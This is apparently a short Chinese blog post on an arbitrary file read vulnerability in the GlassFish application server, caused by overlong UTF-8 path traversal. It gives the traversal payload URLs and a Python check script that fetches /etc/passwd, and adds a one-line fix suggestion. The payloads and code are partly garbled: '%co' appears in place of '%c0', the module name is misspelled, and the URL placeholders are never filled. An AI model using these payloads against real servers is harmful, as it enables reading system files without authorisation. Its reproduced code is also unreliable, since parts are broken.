1. 程式人生 > >glassfish任意文件讀取漏洞解析

glassfish任意文件讀取漏洞解析

glass pat them res unicode編碼 load ble ets 過濾

一、背景:

glassfish是一款java編寫的跨平臺的開源的應用服務器。

二、漏洞原理:

與寬字節SQL註入一致,都是由於unicode編碼歧義導致的。具體payload如下構造:

http://ip:port/theme/META-INF/%c0%ae%co%ae/%c0%ae%co%ae/xxxpath/xxxfile

上述利用可以變形:

http://ip:port/theme/META-INF/%c0.%co./%c0.%co./%c0.%co./%c0.%co./%c0.%co./xxxpath/xxxfile

三、修復方案:

過濾掉. /等關鍵輸入即可。

四、檢查部分關鍵代碼:

1 #glassfish any files readable vuln:
2 import requests 3 def check(ip,port): 4 url = "http://%s:%s/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd" 5 response = requsets.get(url) 6 if response.status_code == 200: 7 print "Vuln"

glassfish任意文件讀取漏洞解析